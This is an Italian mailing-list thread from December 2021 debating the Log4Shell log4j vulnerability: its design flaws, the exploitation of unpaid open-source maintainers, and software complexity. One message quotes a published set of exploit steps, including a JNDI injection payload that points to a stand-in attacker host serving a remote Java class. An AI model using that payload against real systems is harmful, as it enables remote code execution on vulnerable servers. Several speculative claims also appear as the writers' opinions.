Arbitrary code execution in iCloud, Twitter, Steam, CloudFlare, Amazon, Tesla, Baidu, Tencent
Per la serie: "broken beyond repair" https://www.lunasec.io/docs/blog/log4j-zero-day/ Siamo al livello di heartbleed e melt down, ma è il 2021. Chi crede che non sia stato exploitato per mesi prima di essere reso pubblico, non dovrebbe parlare di informatica in pubblico. Invece, a chi sostiene che sia normale o inevitabile, andrebbe impedita qualsiasi professione legata all'informatica. Giacomo
CONFIDENTIAL Ciao Giacomo, Posso chiederti di argomentare meglio questa frase, per favore? In particolare, come credi che questo tipo di incidenti sia evitabile? Invece, a chi sostiene che sia normale o inevitabile, andrebbe impedita qualsiasi professione legata all'informatica. Grazie, Stefano -- [signature_1984774977] Stefano Traverso, PhD Research Lead Ermes – Intelligent Web Protection www.ermes.company<https://www.ermes.company/> Mobile : +39 331 455 9794 From: nexa <nexa-bounces@server-nexa.polito.it> on behalf of Giacomo Tesio <giacomo@tesio.it> Date: Monday, 13 December 2021 at 20:49 To: nexa@server-nexa.polito.it <nexa@server-nexa.polito.it> Subject: [nexa] Arbitrary code execution in iCloud, Twitter, Steam, CloudFlare, Amazon, Tesla, Baidu, Tencent Per la serie: "broken beyond repair" https://eur05.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.lunasec.io%2Fdocs%2Fblog%2Flog4j-zero-day%2F&data=04%7C01%7Cs.traverso%40ermes.company%7Cd3d633ae5ffd49e64a7a08d9be71b600%7C889acf573353418fb4ebdc346e26f311%7C0%7C0%7C637750217859954718%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C2000&sdata=%2BRtpkNDnBDURgottuq4L6xrcLbfam381ss%2BdjuHSHX8%3D&reserved=0 Siamo al livello di heartbleed e melt down, ma è il 2021. Chi crede che non sia stato exploitato per mesi prima di essere reso pubblico, non dovrebbe parlare di informatica in pubblico. Invece, a chi sostiene che sia normale o inevitabile, andrebbe impedita qualsiasi professione legata all'informatica. Giacomo _______________________________________________ nexa mailing list nexa@server-nexa.polito.it https://eur05.safelinks.protection.outlook.com/?url=https%3A%2F%2Fserver-nexa.polito.it%2Fcgi-bin%2Fmailman%2Flistinfo%2Fnexa&data=04%7C01%7Cs.traverso%40ermes.company%7Cd3d633ae5ffd49e64a7a08d9be71b600%7C889acf573353418fb4ebdc346e26f311%7C0%7C0%7C637750217859954718%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C2000&sdata=%2FPjQYmz2JS5MII8USm01XBsDpOOqIPO%2FTG4CwgkKAEk%3D&reserved=0 CONFIDENTIAL
Ciao Stefano, grazie per l'ottima domanda! ;-) On Tue, 14 Dec 2021 11:13:10 +0000 Stefano Traverso wrote:
In particolare, come credi che questo tipo di incidenti sia evitabile?
più o meno nello stesso modo in cui si evita che tutti i ponti crollino contemporaneamente ogni 2 o 3 anni! Perché, sia chiaro: è esattamente quello che succede in informatica! Periodicamente, crolla TUTTO. Nel caso specifico, la vulnerabilità [1] è causata da una _feature_ di log4j [2] che integra i log eseguendo sostituzioni previste in configurazione DOPO aver integrato nel log l'input dell'utente. Questo è ovviamente il primo è fondamentale bug che ha reso possibile questa vulnerabilità. E come sai si tratta dell'ABC della sicurezza: l'input non va mischiato con la configurazione se quella configurazione influenza l'esecuzione. [3] Per quanto posso capire leggendo rapidamente le patch in questione [4] ed i test [5], questo problema NON è ancora stato corretto. Il che è un po' come trovare un ordigno bellico nelle fondamenta di un grattacelo, ed invece di smantellarlo, spostarlo un po' per rendere un po' più difficile accedere l'innesco. A questo primo problema fondamentale, si è aggiunta una particolare tipologia di integrazione dei log che scarica ed esegue una libreria java [6] all'interno della JVM in esecuzione. Di nuovo, non ci vuole un genio a capire che questa "feature" è andarsi a cercar grane con il lanternino: nella migliore delle ipotesi, scarica un binario a discrizione del configuratore e lo esegue nel contesto di una applicazione che NON è stata progettata per esso. Dulcis in fundo, questa integrazione automatica dei log è stata abilitata di default (terzo problema). Ora, errare è umano. Per questo i bug sono una caratteristica normale del codice. Qui abbiamo tre errori che non sono "di codice" ma "di design"! E si tratta di tre errori EVITABILISSIMI, quasi sorprendenti nella loro banalità, quasi l'ABC di come NON scrivere un programma per terze parti: - non mischiare configurazione ed input - non eseguire input non validato - non eseguire input by default Ora, giustamente, questo software open source è distribuito "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND", quindi prendersela con gli sviluppatori significa nascondere la testa sotto la sabbia, fingendo di non vedere il problema sistemico dell'informatica contemporanea. Infatti NESSUNO di coloro che ha usato log4j nell'ultimo decennio ha - letto la documentazione di questa feature - letto il sorgente - acceso il cervello O meglio, qualcuno l'ha fatto: quelli che hanno iniziato a exploitarlo. Questo ci dice che l'approccio (o meglio, la retorica) "InfoSec" alla sicurezza informatica non può funzionare: On Tue, Dec 14, 2021 at 12:42:35PM +0100, Roberto Reale wrote:
L'informatica è fatta di bug almeno quanto di feature.
Ciò da cui non si può prescindere è una adeguata gestione degli incidenti, all'interno di un quadro di risk management.
Non c'è alcun "quadro di risk management" credibile perché l'unico modo efficace per valutare i rischi da gestire è analizzare approfonditamente TUTTO il codice, e solo gli hacker incuriositi da una specifica codebase e le intelligence lo fanno davvero. On Tue, 14 Dec 2021 13:55:38 +0100 Stefano Zacchiroli wrote:
Il punto principale è (come lo fu, questo si, nel caso di Heartbleed) un'intera industria IT composta di giganti for-profit che dipendono da software libero manutenuto da 3 volontari nel loro tempo libero:
Stefano Zacchiroli ha sicuramente ragione su questo, il mercato sfrutta irresponsabilmente il lavoro altamente qualificato di moltissimi sviluppatori di software libero e di software open source. Ma questo fatto non è sufficiente a spiegare il ripetersi di questi incidenti. Ad esempio la Apache Software Foundation riceve notevoli contributi da Amazon, Google, Microsoft, Tencent, Facebook, Huawei [7]. Eppure questi soldi non arrivano agli sviluppatori. Ma anche se arrivassero? Volkan Yazıcı su twitter ha scritto [9]:
Log4j maintainers have been working sleeplessly on mitigation measures; fixes, docs, CVE, replies to inquiries, etc. Yet nothing is stopping people to bash us, for work we aren't paid for, for a feature we all dislike yet needed to keep due to backward compatibility concerns.
A chi credete che importi quella "backward compatibility"? Proprio alle aziende che DOVREBBERO pagare lo sviluppo del software open source e del software libero che utilizzano. Dunque sebbene sia CORRETTO ricondurre il problema ANCHE al profitto sottratto agli sviluppatori dalle aziende [10], affrontare solo questo aspetto non sarebbe sufficiente ad evitare questi problemi. Chromium è un progetto open source sviluppato a tempo pieno da sviluppatori fra i più pagati al mondo. Eppure è un colabrodo [11]. Dunque se riduciamo la questione ad una prospettiva economica, non abbiamo alcuna speranza di evitare che si ripeta. Ma allora è inevitabile? No. Bisogna cambiare prospettiva. Per evitare che TUTTI i ponti crollino contemporaneamente, dobbiamo smettere di costruirli sulla sabbia. Perché gli sviluppatori di Amazon, Apple, Tencent, CloudFlare etc... non hanno letto il codice di log4j prima di utilizzarlo? Perché è troppo complesso. Ed ancora più complesso è il software in cui lo hanno integrato, insieme a migliaia di altre librerie e programmi che non hanno letto o analizzato, ma su cui basano la sicurezza informatica di clienti ed utenti. Se i CEO di queste aziende dovessero (e per me, dovrebbero) rispondere PENALMENTE di data breach come quelli che stanno avvenendo in questo istante [12], semplicemnte chiuderebbero perché, con lo stack attuale, i costi sarebbero insostenibili anche per i BigTech. Ma queste esternalità sono incomprensibili ai più, per cui ce ne facciamo carico collettivamente, mentre loro privatizzano i profitti. Tuttavia questa complessità è davvero insostenibile. Non solo economicamente, ma socialmente e politicamente. Fortunatamente basta ridurla. :-) Dobbiamo iniziare a scrivere software più semplice (non necessariamente più facile) che gli utenti possano sempre studiare, comprendere e modificare in tempi ragionevoli. Un browser che qualsiasi utente può leggere, comprendere e modificare (ad esempio) in un mese, farà molte meno cose di quelle che fa Chrome, ma le farà molto meglio [13]. Non potrà implementare standard progettati da Google per monopolizzare il controllo dei browser, e questo è un netto vantaggio per tutti (tranne che per il povero Google, ovviamente :-D) Altri software similmente semplici svolgeranno altre funzioni. Naturalmente è necessario che anche gli utenti siano messi in condizione di comprendere il sorgente di un software. Insomma la soluzione è semplice, ma non facile. L'unica alternativa però è peggiore: lo status quo... imbellettato. Giacomo [1] https://en.wikipedia.org/wiki/Log4Shell [2] https://logging.apache.org/log4j/2.x/manual/lookups.html [3] vi sono ovviamente eccezioni a questo principio generale, per esempio una shell esegue nello stesso contesto la propria inizializzazione e l'input dell'utente, ma questo è accettabile perché entrambi sono scritti dalla stessa persona. [4] https://logging.apache.org/log4j/2.x/security.html https://issues.apache.org/jira/browse/LOG4J2-3201 https://issues.apache.org/jira/browse/LOG4J2-3198 [5] https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/test/jav... [6] https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLooku [7] https://www.apache.org/foundation/thanks.html [8] https://logging.apache.org/log4j/2.x/thanks.html [9] https://twitter.com/yazicivo/status/1469349956880408583 [10] Scommetterei un caffè che Filippo Valsorda (di Google) non è consapevole di quanto Marxista sia questa riduzione del problema https://twitter.com/FiloSottile/status/1469441477642178561 [11] https://www.cvedetails.com/product/15031/Google-Chrome.html?vendor_id=1224 [12] https://www.zdnet.com/article/log4j-flaw-puts-hundreds-of-millions-of-device... https://www.cnet.com/tech/services-and-software/the-log4j-software-bug-could... [13] non è impossibile: https://www.netsurf-browser.org/
Buonasera, scusate se allungo il thread ma ci sono un paio di questioni cruciali che vorrei evidenziare Giacomo Tesio <giacomo@tesio.it> writes: [...]
A questo primo problema fondamentale, si è aggiunta una particolare tipologia di integrazione dei log che scarica ed esegue una libreria java [6] all'interno della JVM in esecuzione.
[6] https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLooku (ho riportato qui il link per comodità di commento)
Io ho letto e riletto quattro volte quel paragrafo e - complice la mia ignoranza - non capisco dove c'è scritto che la variabile recuperata via JNDI viene usata per scaricare un payload (una classe Java?) che poi viene eseguito dal processo che lo scarica. [...]
Infatti NESSUNO di coloro che ha usato log4j nell'ultimo decennio ha
- letto la documentazione di questa feature - letto il sorgente - acceso il cervello
O meglio, qualcuno l'ha fatto: quelli che hanno iniziato a exploitarlo.
A dire il vero, nel 2015 [1] [2] questa classe di bachi - intendo dire vulnerabilità dovute alla deserializzazione - era stata evidenziata da due professionisti, tanto che Moriz Bechler scriveva nel 2017 circa: --8<---------------cut here---------------start------------->8--- It's been more than two years since Chris Frohoff and Garbriel Lawrence have presented their research into Java object deserialization vulnerabilities ultimately resulting in what can be readily described as the biggest wave of remote code execution bugs in Java history. Research into that matter indicated that these vulnerabilities are not exclusive to mechanisms as expressive as Java serialization or XStream, but some could possibly be applied to other mechanisms as well. This paper presents an analysis, including exploitation details, of various Java open-source marshalling libraries that allow(ed) for unmarshalling of arbitrary, attacker supplied, types and shows that no matter how this process is performed and what implicit constraints are in place it is prone to similar exploitation techniques. --8<---------------cut here---------------end--------------->8--- (tratto da da https://github.com/mbechler/marshalsec, dove è disponibile il paper «Java Unmarshaller Security - Turning your data into code execution» di Moritz Bechler. Nota: "marshalling" in questo contesto è sinonimo di "serialization") Vorrei sottolineare che questo bug di log4j è /solo/ una istanza delle classi di vulnerabilità denominate JNDI Injection [3], parte di una più grande classe di vulnerabilità denominate "unserialize vulnerabilities", che in un articolo [4] del 2015 venivano spiegate così: --8<---------------cut here---------------start------------->8--- Unserialize vulnerabilities are a vulnerability class. Most programming languages provide built-in ways for users to output application data to disk or stream it over the network. The process of converting application data to another format (usually binary) suitable for transportation is called serialization. The process of reading data back in after it has been serialized is called unserialization. Vulnerabilities arise when developers write code that accepts serialized data from users and attempt to unserialize it for use in the program. Depending on the language, this can lead to all sorts of consequences, but most interesting, and the one we will talk about here is remote code execution. --8<---------------cut here---------------end--------------->8--- [...]
Non c'è alcun "quadro di risk management" credibile perché l'unico modo efficace per valutare i rischi
...è avere un sistema serio di valutazione /continua/ dei rischi sistemistici, che /ovviamente/ includa anche una valanga di studio del codice e analisi delle informazioni che provengano da un pubblico /scambio/, magari con persone alle quali piace moltissimo quel tipo di lavoro e alle quali vengano fornite adeguate risorse per svolgerlo. Se ci fosse, mi piacerebbe davvero vedere il documento di analisi dei rischi del progetto log4j: che risposta avrebbe la domanda "cosa succederebbe se il lookup JNDI caricasse codice serializzato Java" cosa rispondereste sapendo quello che ho scritto sopra?
da gestire è analizzare approfonditamente TUTTO il codice, e solo gli hacker incuriositi da una specifica codebase e le intelligence lo fanno davvero.
E quando alcuni hacker lo raccontano non se li fila nessuno, manco di striscio. [...]
Volkan Yazıcı su twitter ha scritto [9]:
Log4j maintainers have been working sleeplessly on mitigation measures; fixes, docs, CVE, replies to inquiries, etc. Yet nothing is stopping people to bash us, for work we aren't paid for, for a feature we all dislike yet needed to keep due to backward compatibility concerns.
Sia chiaro: infinito rispetto per le persone come Volkan Yazıcı, ci manca solo che la colpa ricada su di loro! Quindi era noto che quella "feature" era pericolosa e per non disturbare troppo (chi?) si è preferito lasciare aperta la voragine? [...]
Dunque se riduciamo la questione ad una prospettiva economica, non abbiamo alcuna speranza di evitare che si ripeta.
Sono d'accordo, si tratta innanzitutto di una questione culturale (che determina anche le politiche economiche), è una questione di civiltà informatica ma è anche strettamente connessa alla cupidigia e alla pigrizia di coloro che gestiscono l'attuale sistema di produzione informatica senza adeguati strumenti culturali e /conseguente/ redistribuzione delle risorse economiche. [...]
Per evitare che TUTTI i ponti crollino contemporaneamente, dobbiamo smettere di costruirli sulla sabbia.
Sì ma quello è facile, oserei dire banale: la questione è che dobbiamo smetterla di costruirli col CEMENTO DEPOTENZIATO e fare regolare manutenzione. ...ma noi viviamo di /marketing dell'innovazione/ --8<---------------cut here---------------start------------->8--- the story of how we devalued the work that underpins modern life—and, in doing so, wrecked our economy and public infrastructure while lining the pockets of consultants who combine the ego of Silicon Valley with the worst of Wall Street’s greed. --8<---------------cut here---------------end--------------->8--- (presentazione del libro «The Innovation Delusion» http://leevinsel.com/the-innovation-delusion)
Perché gli sviluppatori di Amazon, Apple, Tencent, CloudFlare etc... non hanno letto il codice di log4j prima di utilizzarlo?
Perché non sono pagati per fare quello, anzi io sono convinto che se i loro manager li /beccassero/ a farlo li licenzierebbero in tronco. ...in compenso ci sono /altri/ che lo leggono o lo /testano/ (per trovare bachi non è necessario leggere tutto il codice) per passione, ma generalmente contano come il due di picche a briscola.
Perché è troppo complesso.
No, no, no, no: è /complicato/. Fosse solo complesso sarebbe gestibile perché le risorse necessarie aumenterebbero linearmente, quando invece è complicato le risorse necessarie a gestirlo aumentano esponenzialmente secondo il grado di complicazione. Quindi, per sparare numeri a caso, se fosse semplice nella sua complessità probabilmente ci vorrebbero un paio di settimane mentre complicato nella sua complessità non basterebbero sei mesi. [...]
Dobbiamo iniziare a scrivere software più semplice (non necessariamente più facile) che gli utenti possano sempre studiare, comprendere e modificare in tempi ragionevoli.
Sono molto d'accordo con Giacomo, la /complicazione/ del software, dal /microcode/ in su, sta diventando un problema sempre più ingestibile. Mi piacerebbe sentire cosa ne pensano le persone nexiane che insegnano informatica in università. [...]
Insomma la soluzione è semplice, ma non facile.
Giusto, la soluzione facile è quella usata fino ad ora: aggiungere pezze su pezze aumentando la complicazione del software e sperando che non crolli tutto alla prima folata di vento. [...] Ci /sarebbe/ tanto bel lavoro da fare, ma siamo tutti /troppo/ impegnati a fare altro. Saluti, 380° [1] http://frohoff.github.io/appseccali-marshalling-pickles/ «AppSecCali 2015: Marshalling Pickles - how deserializing objects will ruin your day» [2] https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jen... «What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.» [3] https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ «PSA: Log4Shell and the current state of JNDI injection» [4] https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jen... «What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.» -- 380° (Giovanni Biscuolo public alter ego) «Noi, incompetenti come siamo, non abbiamo alcun titolo per suggerire alcunché» Disinformation flourishes because many people care deeply about injustice but very few check the facts. Ask me about <https://stallmansupport.org>.
On Tue, 14 Dec 2021 20:03:48 +0100 380° wrote:
Giacomo Tesio <giacomo@tesio.it> writes:
A questo primo problema fondamentale, si è aggiunta una particolare tipologia di integrazione dei log che scarica ed esegue una libreria java [6] all'interno della JVM in esecuzione.
[6] https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLooku (ho riportato qui il link per comodità di commento)
Io ho letto e riletto quattro volte quel paragrafo e - complice la mia ignoranza - non capisco dove c'è scritto che la variabile recuperata via JNDI viene usata per scaricare un payload (una classe Java?) che poi viene eseguito dal processo che lo scarica.
No, Giovanni, non c'è scritto: il mio link voleva fornire un riferimento solo alla "feature" in questione, non all'exploit. Le mie parole erano una semplificazione (evidentemente eccessiva) di quanto spiegato meglio da Bechler qui: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
Log4J will perform a JNDI lookup() while expanding placeholders in logging messages (or indirectly as parameters for formatted messages).
In a default installation there are two “interesting” protocols supported by JNDI: RMI and LDAP. In both cases a lookup() call is actually meant to return a Java object. This usually means serialized Java objects, however there is also a JNDI Reference mechanism for indirect construction through a factory. This object and factory bytecode can potentially be loaded from a remote URL codebase (read: a webserver with .class files).
Una factory [1] è un metodo (tipicamente statico) che restituisce un'istanza di un oggetto. Per restituirla deve essere eseguito, tipicamente dalla macchina virtuale che poi userà l'istanza. E per creare l'istanza può fare tutto ciò che l'ambiente di esecuzione permette. Quindi in questo caso può scaricare altro codice etc... Scusa l'approssimazione confusa.
Infatti NESSUNO di coloro che ha usato log4j nell'ultimo decennio ha
- letto la documentazione di questa feature - letto il sorgente - acceso il cervello
O meglio, qualcuno l'ha fatto: quelli che hanno iniziato a exploitarlo.
A dire il vero, nel 2015 [1] [2] questa classe di bachi - intendo dire vulnerabilità dovute alla deserializzazione - era stata evidenziata da due professionisti
Le due cose non sono mutualmente esclusive: il fatto che problema delle implementazioni della JNDI fosse noto, non implica che qualcuno abbia letto la documentazione di log4j, notato che che venivano usate nell'espansione dei pattern prima di scrivere i log e fatto due più due. O meglio, ripeto: diversi l'hanno fatto, ma non sappiamo chi o da quanto tempo sfruttassero questa vulnerabilità senza farsi notare. Naturalmente, avere tutte le uova in un solo paniere (i grandi cloud provider) avrà reso molto più facile la vita degli attaccanti (che hanno sicuramente avuto almeno diversi MESI per operare). Ora tutti faranno finta che non sia successo niente: aziende, Garanti della Privacy e Governi... Ma dopo un "incidente" come questo non devi solo reinstallare TUTTI i datacenter, ma ricontrollare anche tutti i log dei backup, gli archivi del software etc... I pivelli che compromettono un datacenter installano miner bitcoin. I professionisti cercano di raggiungere backup ed archivi dei clienti in modo da installarvi subito backdoor difficilmente individuabili e che verranno ripristinate anche in caso di ricostruzione complessiva del software del datacenter a partire dai sorgenti (cosa che tanto nessuno farà davvero). Di fronte a tutto ciò, favole come il "risk management" in InfoSec servono solo a garantire la sicurezza economica di chi le racconta. Ma in fondo è così che funziona il mercato, giusto? Costose favole hi-tech per soddisfare la domanda di rassicurazione. Giacomo [1] https://en.wikipedia.org/wiki/Factory_method_pattern
Ciao Giacomo, Giacomo Tesio <giacomo@tesio.it> writes: [...]
non capisco dove c'è scritto che la variabile recuperata via JNDI viene usata per scaricare un payload (una classe Java?) che poi viene eseguito dal processo che lo scarica.
No, Giovanni, non c'è scritto
OK grazie, questa è l'ennesima cosa /grave/, considerato che - dalle parole di Volkan Yazıcı che tu hai riportato nel precedente messaggio quella è una «feature we all dislike yet needed to keep»: in una documentazione seria io mi aspetterei un avviso grande come una casa del tipo "lasciate ogni speranza o voi che usate questa feature". Anche la documentazione è parte integrante del software, solo che è quella che costa di più quindi mediamente fa schifo. Nel risk management uno dei modi di ridurre il rischio è documentarlo :-O [...]
A dire il vero, nel 2015 [1] [2] questa classe di bachi - intendo dire vulnerabilità dovute alla deserializzazione - era stata evidenziata da due professionisti
Le due cose non sono mutualmente esclusive: il fatto che problema delle implementazioni della JNDI fosse noto, non implica che qualcuno abbia letto la documentazione di log4j, notato che che venivano usate nell'espansione dei pattern prima di scrivere i log e fatto due più due.
Quello che mi pare evidente è che in molti avrebbero potuto fare due più due /en plein air/ ma una parte ha deciso che non li riguardava e l'altra ha deciso di usarla a proprio vantaggio per bucare altri sistemi. ...solo che la gara a chi è /er più/ è decisamente perdente per tutti, anche per quelli che si illudono di essere /er mejo dei più/ convinti di riuscire a non essere "bucati", ormai di casi se ne contano a decine. Ci vorrebbe una moratoria internazionale :-D [...]
I professionisti cercano di raggiungere backup ed archivi dei clienti in modo da installarvi subito backdoor difficilmente individuabili e che verranno ripristinate anche in caso di ricostruzione complessiva del software del datacenter a partire dai sorgenti (cosa che tanto nessuno farà davvero).
Già, altro tema decisamente ignorato dal giorno dopo la lezione al Turing Award «Reflections on Trusting Trust» di Ken Thompson, era il 1984. [...] Saluti, 380° -- 380° (Giovanni Biscuolo public alter ego) «Noi, incompetenti come siamo, non abbiamo alcun titolo per suggerire alcunché» Disinformation flourishes because many people care deeply about injustice but very few check the facts. Ask me about <https://stallmansupport.org>.
L'informatica è fatta di bug almeno quanto di feature. Ciò da cui non si può prescindere è una adeguata gestione degli incidenti, all'interno di un quadro di risk management. Roberto On Mon, Dec 13, 2021 at 8:49 PM Giacomo Tesio <giacomo@tesio.it> wrote:
Per la serie: "broken beyond repair"
https://www.lunasec.io/docs/blog/log4j-zero-day/
Siamo al livello di heartbleed e melt down, ma è il 2021.
Chi crede che non sia stato exploitato per mesi prima di essere reso pubblico, non dovrebbe parlare di informatica in pubblico.
Invece, a chi sostiene che sia normale o inevitabile, andrebbe impedita qualsiasi professione legata all'informatica.
Giacomo _______________________________________________ nexa mailing list nexa@server-nexa.polito.it https://server-nexa.polito.it/cgi-bin/mailman/listinfo/nexa
On Tue, Dec 14, 2021 at 12:42:35PM +0100, Roberto Reale wrote:
L'informatica è fatta di bug almeno quanto di feature.
Ciò da cui non si può prescindere è una adeguata gestione degli incidenti, all'interno di un quadro di risk management.
Già. Inoltre qua la discussione sulla presunta o reale competenza degli sviluppatori di log4j mi sembra irrilevante. Il punto principale è (come lo fu, questo si, nel caso di Heartbleed) un'intera industria IT composta di giganti for-profit che dipendono da software libero manutenuto da 3 volontari nel loro tempo libero: https://twitter.com/FiloSottile/status/1469441477642178561 (e seguenti) Chiamatelo "free riding" o, più prosaicamente, "sfruttamento", ma è questo il problema da risolvere. Saluti -- Stefano Zacchiroli . zack@upsilon.cc . upsilon.cc/zack _. ^ ._ Full professor of Computer Science o o o \/|V|\/ Télécom Paris, Polytechnic Institute of Paris o o o </> <\> Co-founder & CTO Software Heritage o o o o /\|^|/\ Former Debian Project Leader & OSI Board Director '" V "'
Ciao Giacomo, buongiorno nexiane scusa Giacomo se mi permetto di fare l'egesi del tuo messaggio, ma riportato così rischia di rimanere un po' troppo criptico a chi non sa come funziona il "giro del fumo". ... ovviamente ho anche qualche commento :-) Giacomo Tesio <giacomo@tesio.it> writes:
Per la serie: "broken beyond repair"
Si tratta del CVE-2021-44228, aka Log4Shell Credo che il riassunto minimo più efficace sia questo: --8<---------------cut here---------------start------------->8--- By submitting a specially crafted request to a vulnerable system, depending on how the system is configured, an attacker is able to instruct that system to download and subsequently execute a malicious payload. --8<---------------cut here---------------end--------------->8--- (https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-4422...) Per "submit a specially crafted request" non c'è bisogno di chissà quali tecniche di hacking, è sufficiente modificare il nome del proprio host (smartphone, Tesla...) [1] e contattare un servizio che usa log4j.
Il blog post è abbastanza tecnico ma la spiegazione di come fare a sfruttare il baco è abbastanza semplice: --8<---------------cut here---------------start------------->8--- 1. Data from the User gets sent to the server (via any protocol), 2. The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server), 3. The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI), 4. This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process, 5. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code. --8<---------------cut here---------------end--------------->8--- (https://www.lunasec.io/docs/blog/log4j-zero-day/#exploit-steps) Un elenco che /mi pare/ ben mantenuto è quello del Nationaal Cyber Security Centrum olandese: https://github.com/NCSC-NL/log4shell/tree/main/software Fa girare un po' la testa, effettivamente. ... Google non pervenuto?!? [...]
Siamo al livello di heartbleed e melt down, ma è il 2021.
Sì ma siamo IMHO /sotto/ al livello di SolarWinds, il peggio deve ancora manifestarsi perché le APT (advanced persistent threat) sono molto più subdole anche dei peggiori bachi come questo di log4j.
Chi crede che non sia stato exploitato per mesi prima di essere reso pubblico, non dovrebbe parlare di informatica in pubblico.
La libertà di credenza e di parola non si deve negare a nessuno. WIRED [2] scrive: --8<---------------cut here---------------start------------->8--- The organization (Apache Foundation, n.d.r.) says that Chen Zhaojun of Alibaba Cloud Security Team first disclosed the vulnerability. --8<---------------cut here---------------end--------------->8--- ...nel frattempo chissà cosa non hanno fatto con quella vulnerabilità. Il tempo medio di un APT (advanced persistent threat) /stimato/ va dai 71 giorni fino al 240, non è irragionecole stimare che la vulnerabilità di log4j sia stata disponibile fin da circa 100 giorni prima dell'annuncio. Comunque chi si occupa di sicurezza sa benissimo che non basta aggiornare log4j e amen, tocca reinstallare il sistema (quelli embedded inclusi, tipo gli IoT) da zero, con log4j aggiornato... e ovviamente rifare da zero i container Docker, vero?!? :-O Tanto lavoro, ma proprio tanto... forse troppo e per questo in molti casi non verrà fatto.
Invece, a chi sostiene che sia normale o inevitabile, andrebbe impedita qualsiasi professione legata all'informatica.
ROTFL. Sinceramente anche io non mi capacito di come i progettisti di log4j consentano l'uso di lookup JNDI dandogli in input qualsiasi cosa trovino in un /file di log/, consentendo così attacchi di tipo "JNDI injection" [3] a chiunque; bisogna proprio volersi male. Saluti 380° [1] https://nitter.net/chvancooten/status/1469340927923826691 [2] https://web.archive.org/web/20211210195812/https://www.wired.com/story/log4j... [3] https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ «PSA: Log4Shell and the current state of JNDI injection» -- 380° (Giovanni Biscuolo public alter ego) «Noi, incompetenti come siamo, non abbiamo alcun titolo per suggerire alcunché» Disinformation flourishes because many people care deeply about injustice but very few check the facts. Ask me about <https://stallmansupport.org>.
Ciao Giovanni, On Tue, 14 Dec 2021 13:29:04 +0100 380° wrote:
Chi crede che non sia stato exploitato per mesi prima di essere reso pubblico, non dovrebbe parlare di informatica in pubblico.
La libertà di credenza e di parola non si deve negare a nessuno.
Hai ragione. Scusate. Mi sono fatto prendere la mano dall'indignazione. Il problema è che quando questa gente parla, i non tecnici gli credono. La realtà è troppo terribile, e preferiscono essere rassicurati e rabboniti rispetto ad affrontare e risolvere i problemi.
Un elenco che /mi pare/ ben mantenuto è quello del Nationaal Cyber Security Centrum olandese: https://github.com/NCSC-NL/log4shell/tree/main/software
Fa girare un po' la testa, effettivamente.
... Google non pervenuto?!?
L'assenza di Google è interessante. L'unica spiegazione credibile che mi viene in mente è che fossero a conoscenza del problema da tempo, ma non l'avessero reso pubblico. Magari speravano nessuno ci vacesse caso! :-D Giacomo
participants (5)
-
380° -
Giacomo Tesio -
Roberto Reale -
Stefano Traverso -
Stefano Zacchiroli